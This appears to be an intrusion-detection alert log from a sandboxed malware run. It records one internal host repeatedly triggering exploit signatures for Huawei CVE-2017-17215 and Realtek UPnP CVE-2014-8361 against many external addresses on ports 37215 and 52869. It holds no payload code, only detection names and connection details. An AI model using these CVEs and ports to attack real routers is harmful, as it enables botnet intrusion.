Timestamp:	07/20/24-23:01:05.442608
SID:	2025132
Source Port:	57236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.177.30.83

Timestamp:	07/20/24-23:01:02.441202
SID:	2829579
Source Port:	58446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.244.58.180

Timestamp:	07/20/24-23:01:19.236523
SID:	2835222
Source Port:	57386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 162.255.63.124

Timestamp:	07/20/24-23:01:25.283485
SID:	2835222
Source Port:	39010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.23.36.31

Timestamp:	07/20/24-23:01:19.223034
SID:	2835222
Source Port:	54434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.22.26.151

Timestamp:	07/20/24-23:01:37.217137
SID:	2829579
Source Port:	42522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 24.34.240.214

Timestamp:	07/20/24-23:01:02.400873
SID:	2829579
Source Port:	44016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.121.176.8

Timestamp:	07/20/24-23:01:28.180178
SID:	2829579
Source Port:	37940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 24.110.26.135

Timestamp:	07/20/24-23:01:34.111983
SID:	2025132
Source Port:	57580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.158.158.252

Timestamp:	07/20/24-23:01:33.043558
SID:	2829579
Source Port:	51892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.44.22.241

Timestamp:	07/20/24-23:01:07.674717
SID:	2835222
Source Port:	52904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.30.110.231

Timestamp:	07/20/24-23:01:28.214698
SID:	2835222
Source Port:	36422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 61.27.5.72

Timestamp:	07/20/24-23:01:33.740102
SID:	2025132
Source Port:	55578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.128.167.80

Timestamp:	07/20/24-23:01:14.398934
SID:	2835222
Source Port:	52752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 66.20.90.81

Timestamp:	07/20/24-23:01:34.920163
SID:	2831300
Source Port:	35522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.117.180

Timestamp:	07/20/24-23:01:14.399761
SID:	2829579
Source Port:	40244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 97.0.242.117

Timestamp:	07/20/24-23:01:33.037346
SID:	2829579
Source Port:	52652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 43.140.238.166

Timestamp:	07/20/24-23:01:24.732777
SID:	2025132
Source Port:	59754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.8.125.187

Timestamp:	07/20/24-23:01:34.214142
SID:	2027339
Source Port:	42082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.127.222.117

Timestamp:	07/20/24-23:01:34.909156
SID:	2027339
Source Port:	41926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 155.83.108.84

Timestamp:	07/20/24-23:01:33.040754
SID:	2835222
Source Port:	33802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 158.178.147.148

Timestamp:	07/20/24-23:01:13.329548
SID:	2831300
Source Port:	48892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.95.135

Timestamp:	07/20/24-23:01:14.397897
SID:	2835222
Source Port:	37862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.207.30.18

Timestamp:	07/20/24-23:01:14.440842
SID:	2835222
Source Port:	52294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 74.70.219.36

Timestamp:	07/20/24-23:01:19.222597
SID:	2835222
Source Port:	54498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.12.199

Timestamp:	07/20/24-23:01:02.412791
SID:	2835222
Source Port:	56944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.224.168.193

Timestamp:	07/20/24-23:01:11.467529
SID:	2835222
Source Port:	60442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 39.28.170.200

Timestamp:	07/20/24-23:01:22.988072
SID:	2027339
Source Port:	42048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 39.70.52.243

Timestamp:	07/20/24-23:01:13.329548
SID:	2027339
Source Port:	43438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 165.75.84.143

Timestamp:	07/20/24-23:01:34.935674
SID:	2027339
Source Port:	59880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 141.111.126.230

Timestamp:	07/20/24-23:01:19.233507
SID:	2829579
Source Port:	32940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 149.86.2.31

Timestamp:	07/20/24-23:01:13.330806
SID:	2027339
Source Port:	43954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.175.137

Timestamp:	07/20/24-23:01:02.414137
SID:	2835222
Source Port:	35610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 196.159.190.117

Timestamp:	07/20/24-23:01:13.336391
SID:	2027339
Source Port:	49180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 60.68.1.166

Timestamp:	07/20/24-23:01:06.357829
SID:	2027339
Source Port:	36720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 150.10.126.44

Timestamp:	07/20/24-23:01:34.965835
SID:	2027339
Source Port:	54264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 201.188.111.248

Timestamp:	07/20/24-23:01:24.763986
SID:	2027339
Source Port:	46918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 27.56.80.118

Timestamp:	07/20/24-23:01:37.122448
SID:	2829579
Source Port:	55026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 147.31.96.80

Timestamp:	07/20/24-23:01:24.075920
SID:	2831300
Source Port:	59924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.218.46.143

Timestamp:	07/20/24-23:01:33.100578
SID:	2835222
Source Port:	49520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 64.117.200.225

Timestamp:	07/20/24-23:01:05.458731
SID:	2025132
Source Port:	41716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.81.103.110

Timestamp:	07/20/24-23:01:02.414850
SID:	2835222
Source Port:	54462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 39.70.52.243

Timestamp:	07/20/24-23:01:13.329548
SID:	2831300
Source Port:	43438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.236.255

Timestamp:	07/20/24-23:01:02.417044
SID:	2829579
Source Port:	59758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 66.217.163.116

Timestamp:	07/20/24-23:01:34.902376
SID:	2831300
Source Port:	57374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 71.235.40.59

Timestamp:	07/20/24-23:01:32.490422
SID:	2025132
Source Port:	34704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 151.151.89.112

Timestamp:	07/20/24-23:01:33.871572
SID:	2025132
Source Port:	32882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.186.119

Timestamp:	07/20/24-23:01:02.412965
SID:	2829579
Source Port:	59774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.29.111.74

Timestamp:	07/20/24-23:01:07.668439
SID:	2829579
Source Port:	48818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 135.89.106.236

Timestamp:	07/20/24-23:01:30.858584
SID:	2025132
Source Port:	45332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.142.189.209

Timestamp:	07/20/24-23:01:19.223034
SID:	2829579
Source Port:	46804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.60.163.175

Timestamp:	07/20/24-23:01:07.676384
SID:	2829579
Source Port:	42980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.129.87.164

Timestamp:	07/20/24-23:01:11.474688
SID:	2835222
Source Port:	40740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 4.227.121.101

Timestamp:	07/20/24-23:01:23.056114
SID:	2025132
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 209.88.50.174

Timestamp:	07/20/24-23:01:13.331420
SID:	2831300
Source Port:	50730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 52.100.4.60

Timestamp:	07/20/24-23:01:31.972321
SID:	2025132
Source Port:	39046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.217.55

Timestamp:	07/20/24-23:01:33.043558
SID:	2829579
Source Port:	52568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.108.198.161

Timestamp:	07/20/24-23:01:28.386042
SID:	2835222
Source Port:	55342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 5.108.28.159

Timestamp:	07/20/24-23:01:13.334387
SID:	2831300
Source Port:	50220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.220.109

Timestamp:	07/20/24-23:01:14.397263
SID:	2835222
Source Port:	43480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.78.108

Timestamp:	07/20/24-23:01:05.898116
SID:	2835222
Source Port:	45086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.102.177.131

Timestamp:	07/20/24-23:01:02.415259
SID:	2829579
Source Port:	55584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 54.198.216.131

Timestamp:	07/20/24-23:01:05.767682
SID:	2025132
Source Port:	54000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.165.214.124

Timestamp:	07/20/24-23:01:22.779153
SID:	2835222
Source Port:	49104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 170.186.56.154

Timestamp:	07/20/24-23:01:34.909156
SID:	2027339
Source Port:	44846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.53.108

Timestamp:	07/20/24-23:01:11.486486
SID:	2829579
Source Port:	48836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 163.83.107.67

Timestamp:	07/20/24-23:01:34.940229
SID:	2027339
Source Port:	48114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 124.90.204.138

Timestamp:	07/20/24-23:01:05.822299
SID:	2025132
Source Port:	57638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.133.187.180

Timestamp:	07/20/24-23:01:19.231228
SID:	2829579
Source Port:	59228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 19.177.37.36

Timestamp:	07/20/24-23:01:19.337916
SID:	2829579
Source Port:	38148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 139.72.178.53

Timestamp:	07/20/24-23:01:34.907114
SID:	2831300
Source Port:	58900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 94.133.203.252

Timestamp:	07/20/24-23:01:24.736868
SID:	2025132
Source Port:	38976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 47.157.17.225

Timestamp:	07/20/24-23:01:25.379837
SID:	2027339
Source Port:	60940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 201.115.243.108

Timestamp:	07/20/24-23:01:14.401421
SID:	2829579
Source Port:	52052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.166.67.79

Timestamp:	07/20/24-23:01:05.908608
SID:	2835222
Source Port:	33246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.120.247

Timestamp:	07/20/24-23:01:11.467355
SID:	2829579
Source Port:	41486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 142.221.175.109

Timestamp:	07/20/24-23:01:34.958511
SID:	2831300
Source Port:	39004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 72.184.169.139

Timestamp:	07/20/24-23:01:05.863035
SID:	2025132
Source Port:	36548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.13.53.30

Timestamp:	07/20/24-23:01:33.081950
SID:	2829579
Source Port:	53164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.75.92

Timestamp:	07/20/24-23:01:25.231151
SID:	2829579
Source Port:	45168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 54.198.216.131

Timestamp:	07/20/24-23:01:13.331144
SID:	2831300
Source Port:	55172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.147.110

Timestamp:	07/20/24-23:01:05.896134
SID:	2829579
Source Port:	35360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 41.37.91.19

Timestamp:	07/20/24-23:01:29.745031
SID:	2027339
Source Port:	50792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 1.119.230.113

Timestamp:	07/20/24-23:01:29.528866
SID:	2027339
Source Port:	56818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.133.211.214

Timestamp:	07/20/24-23:01:33.030189
SID:	2835222
Source Port:	46408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 173.77.175.8

Timestamp:	07/20/24-23:01:06.136528
SID:	2027339
Source Port:	43994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.105.139

Timestamp:	07/20/24-23:01:05.904128
SID:	2835222
Source Port:	42796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 111.237.207.198

Timestamp:	07/20/24-23:01:29.175082
SID:	2027339
Source Port:	40484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.242.45.146

Timestamp:	07/20/24-23:01:11.467529
SID:	2829579
Source Port:	60278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 145.114.175.209

Timestamp:	07/20/24-23:01:13.331537
SID:	2831300
Source Port:	47176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 210.127.30.24

Timestamp:	07/20/24-23:01:31.279890
SID:	2027339
Source Port:	50190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 134.114.43.200

Timestamp:	07/20/24-23:01:07.674717
SID:	2829579
Source Port:	37132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 19.75.81.79

Timestamp:	07/20/24-23:01:34.034865
SID:	2025132
Source Port:	52832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.54.115.117

Timestamp:	07/20/24-23:01:19.222257
SID:	2829579
Source Port:	59692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.171.110.94

Timestamp:	07/20/24-23:01:05.898116
SID:	2829579
Source Port:	45848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.162.218.57

Timestamp:	07/20/24-23:01:14.397957
SID:	2835222
Source Port:	59580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.15.221.37

Timestamp:	07/20/24-23:01:13.332043
SID:	2027339
Source Port:	51952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 82.86.85.182

Timestamp:	07/20/24-23:01:13.329204
SID:	2027339
Source Port:	51164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.31.246.202

Timestamp:	07/20/24-23:01:28.143148
SID:	2829579
Source Port:	47962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 164.82.176.136

Timestamp:	07/20/24-23:01:29.169782
SID:	2831300
Source Port:	60376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.24.238

Timestamp:	07/20/24-23:01:07.672294
SID:	2829579
Source Port:	41974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.46.159

